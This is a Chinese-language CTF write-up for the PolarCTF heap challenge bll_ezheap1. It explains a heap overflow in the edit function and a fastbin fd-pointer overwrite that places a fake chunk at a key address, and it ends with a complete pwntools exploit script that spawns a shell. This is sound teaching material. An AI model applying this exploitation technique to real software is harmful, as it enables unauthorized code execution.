0x01 前言:

题型是一个利用堆溢出来实现Fastbin Attack的题啊,十分适合入门理解,孩子啃得很香。
原题目是PolarCTF2025春季个人挑战赛的bll_ezheap1,一道入门堆题。
记得堆题上来就要patch!版本之间会有些莫名其妙的差异,很多情况下会导致你本地打不通。

0x02 patch 一下:

貌似小版本之间的区别是没有的,这里因为找不到太过远古的ubuntu16的版本,就选择了ubuntu16.04,在glibc-all-in-one中可以找到: 2.23-0ubuntu11.3_amd64

题目没给怎么办?总有方法泄露的

1
2
3
4
ldd pwn2
linux-vdso.so.10x00007ffce117c000
libc.so.6 => /home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.60x00007f592fc00000
/home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.20x00007f593027a000

patch完之后正式开始

0x03 分析一下

先checksec:
Canary, nx, pie 全开。但是不要紧,我们不是在做栈溢出。上ida看看:
题看起来都是这个样子,一个菜单来实现一些功能,分别是创建堆,编辑堆,删除堆。
不难看到输入为5的时候会先输出一个地址,然后进行判断,满足条件则getshell,不满足也不会退出,重新回到选择菜单这里。看起来是通过一些特殊手段往给出的地址上写入这个0xABCDEF
我们先看看他的各个功能的实现:数据读取函数:
没什么异常,看看编辑堆:
可以看到没有对输入长度做检测,说明存在堆溢出漏洞,再看看删除:
free了之后有对索引进行清零操作,所以没得UAF(虽然我还不会)。

0x04 堆溢出如何利用?

所以还是要利用这个堆溢出来进行 Fastbin攻击,首先我们得建一个很小的堆,方便我们利用堆溢出来写下一个chunk的内容,实际上我们一共只需要两个chunk,第一个是很小的,第二个符合fastbin的大小即可。
类似这样的结构,然后简单讲讲总体的流程,上面说到需要两个chunk,申请完后我们需要先把第二个chunk给free掉,这样它就会出现在fastbin中。然后通过堆溢出,从第一个chunk写到第二个堆上的数据(这时第二个chunk已被free)
修改第二个堆上的fd地址,把fd修改成key前面的位置(因为需要留位置给pre_size和size),凭空营造一个假的被free了的chunk。
接着我们通过连续创建两次堆,把这两个在fastbins上的两个堆给申请回来(第一个是我们一开始free掉的,第二个是因为我们覆写了前面的堆的fd指针,所以系统认为fastbins上有两个被free的chunk)
第二个申请的堆实际上是建立在key附近的,这时后我们就可以通过编辑堆来往key上写数据,最后getshell

0x05 gdb环节!

需要申请的堆大小具体是多少呢?
还需要动调看看,观测一下key那边的情况再说:

1
2
3
4
5
6
7
def shell():
sa('choice:\n',b'5')

shell()
ru(':')
key_addr=int(r(14),16)
leak('key_addr')

接收一下key的地址,然后开gdb:这里选择查看对应地址的-0x20的位置。我们希望往key这个地址上写入数据,必然要留位置给prev_size和size,一共(0x8+0x8)字节所以这里选择看看-0x20上有没有适合的:
正好有个7f比较适合,所以我们在创建第二个堆块的时候可以申请0x60大小的堆块,因为堆的特性,会加上chunk头这些,然后会自动对齐,我们可以简单创建一个试试看,这里顺便把各个功能集成起来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def add_chunk(index,size):
sa('choice:\n',b'1')
sa('index:\n',str(index))
sa('size:\n',str(size))

def free(index):
sa('choice:\n',b'3')
sa('index:\n',str(index))

def edit_chunk(index,content):
sa('choice:\n',b'2')
sa('index:\n',str(index))
sa('length:\n',str(len(content)))
sa('content:',content)

def shell():
sa('choice:\n',b'5')

add_chunk(0,0x10)
add_chunk(1,0x60)

可以看到这个我们创建的堆块实际比我们输入的大小要大。回到key-0x20,因为我们要造一个类似这样的结构:
所以要选一个好位置,让7f处于图上那样的位置,简单调整一下:
chunk头的位置还是尽量往上选,因为没限制输出长度,所以不必担心写不到,最后选了key-0x1f的位置。接下来先是free掉chunk1,然后编辑chunk0,利用堆溢出往被free的chunk1上写,改写掉chunk1的fd指针,注意原本chunk1的prev_size位和size位保持原状:

1
2
payload=p64(0)*3+p64(0x71)+p64(key_addr-0x1f)
edit_chunk(0,payload)

编辑完之后我们可以看看fastbins:
可以看到已经有两个fastbins了,接下来我们只需要分别将这两个堆块申请回来就行:

1
2
add_chunk(1,0x60)
add_chunk(4,0x60)

注意fastbins机制,大小要符合要求接下来编辑chunk4,先随便输入点东西看看输入的起始地址在哪里:

1
2
payload1=b'a'*30
edit_chunk(4,payload1)

用八个字节对齐的角度来看:
我们的输入的起点其实是09c+1,也就是说我们需要填入15个垃圾数据,接着填入 0xABCDEF 即可:

1
2
3
payload1=b'a'*15+p64(0xABCDEF)
edit_chunk(4,payload1)
shell()

到这里就已经getshell了

0x06 EXP已经写好了,端上来吧

放个完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from ctypes import *
from struct import pack

context(log_level = 'debug', arch = 'amd64', os = 'linux')
# elf=ELF('/mnt/c/Users/Z2023/Desktop/find')
# libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so.6')
# libc=cdll.LoadLibrary('/home/liiinkle/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

choice = 0 #打远程时改成1
if choice:
port=2123
buu='node5.buuoj.cn'
nss='node4.anna.nssctf.cn'
polar='1.95.36.136'
utctf='challenge.utctf.live'
p = remote(polar,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/pwn2')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

def add_chunk(index,size):
sa('choice:\n',b'1')
sa('index:\n',str(index))
sa('size:\n',str(size))

def free(index):
sa('choice:\n',b'3')
sa('index:\n',str(index))

def edit_chunk(index,content):
sa('choice:\n',b'2')
sa('index:\n',str(index))
sa('length:\n',str(len(content)))
sa('content:',content)

def shell():
sa('choice:\n',b'5')

shell()
ru(':')
key_addr=int(r(14),16)
leak('key_addr')

add_chunk(0,0x10)
add_chunk(1,0x60)

free(1)

payload=p64(0)*3+p64(0x71)+p64(key_addr-0x1f)
edit_chunk(0,payload)

add_chunk(1,0x60)
add_chunk(4,0x60)

payload1=b'a'*15+p64(0xABCDEF)
edit_chunk(4,payload1)
shell()

itr()